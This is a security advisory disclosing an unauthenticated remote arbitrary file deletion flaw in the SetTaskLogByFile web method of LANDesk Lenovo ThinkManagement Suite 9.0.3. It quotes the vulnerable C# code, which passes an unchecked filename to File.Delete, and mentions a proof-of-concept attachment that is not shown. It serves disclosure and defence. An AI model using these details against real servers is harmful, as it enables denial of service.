LANDesk Lenovo ThinkManagement Suite 9.0.3 Core Server WSVulnerabilityCore.dll 
SetTaskLogByFile() Remote Arbitrary File Deletion Vulnerability

Tested against: Microsoft Windows Server 2003 r2 sp2

Software home page: http://www.landesk.com/lenovo/thinkmanagement-console.aspx

Download url: http://www.landesk.com/downloads/lenovo/50.aspx

Files tested: 
ThinkManagement9.0.2.exe
LD90-SP2-MCP_CONS-2011-0428.exe
LD90-SP2-MCP_SD-2011-0428.exe
ThinkManagementConsole9.0.3_b28.zip

Instrunctions were to install 9.0.2, then apply two patches, finally to install 9.0.3

Background:
The mentioned product creates various virtual directories on IIS.
Among them the 'WSVulnerabilityCore' one.
Without prior authentication / authorization is possible to 
invoke the 'VulCore.asmx' web service which exposes various
functions inside the underlying dlls.

Vulnerability:
By specifying the 'SetTaskLogByFile' operation is possible to 
delete arbitrary files on the target operating system.

Vulnerable code:

VulCore.asmx:
...
<%@ WebService Language="c#" Codebehind="VulCore.asmx.cs" Class="LANDesk.ManagementSuite.WSVulnerabilityCore.VulCore" %>
...

SetTaskLogByFile() from the VulCore class of WSVulnerabilityCore.dll:
...
[WebMethod]
public void SetTaskLogByFile(int computerIdn, int taskid, string filename)
{
    try
    {
        string fullPath = GlobalBiz.LDLogon + @"VulScanResults" + filename;
        byte[] fileContents = GlobalBiz.GetFileContents(fullPath);
        File.Delete(fullPath); //<------------------------ !!!
        if (filename.EndsWith("z"))
        {
            fileContents = GlobalBiz.DecompressBytes(fileContents);
        }
        this.SetTaskLog(computerIdn, taskid, Encoding.UTF8.GetString(fileContents));
    }
    catch (Exception exception)
    {
        RollingLog.Log(exception.ToString(), new object[0]);
    }
}
...
The 'filename' argument is used to delete files and suffers of a directory traversal vulnerability,
no checks of any kind.

To the ManagementSuite folder were given unsecure permission, see, from the command line:

Full privileges were given to the subfolders and files to the ASPNET user.
So a remote attacker can effectively deny service by deleting dlls, archives and configuration files
including ex. web.config files.
Remote code execution could be possible but has not been proofed at the time of this article.

As attachment, a proof of concept code which delete a LANDesk dll from remote.
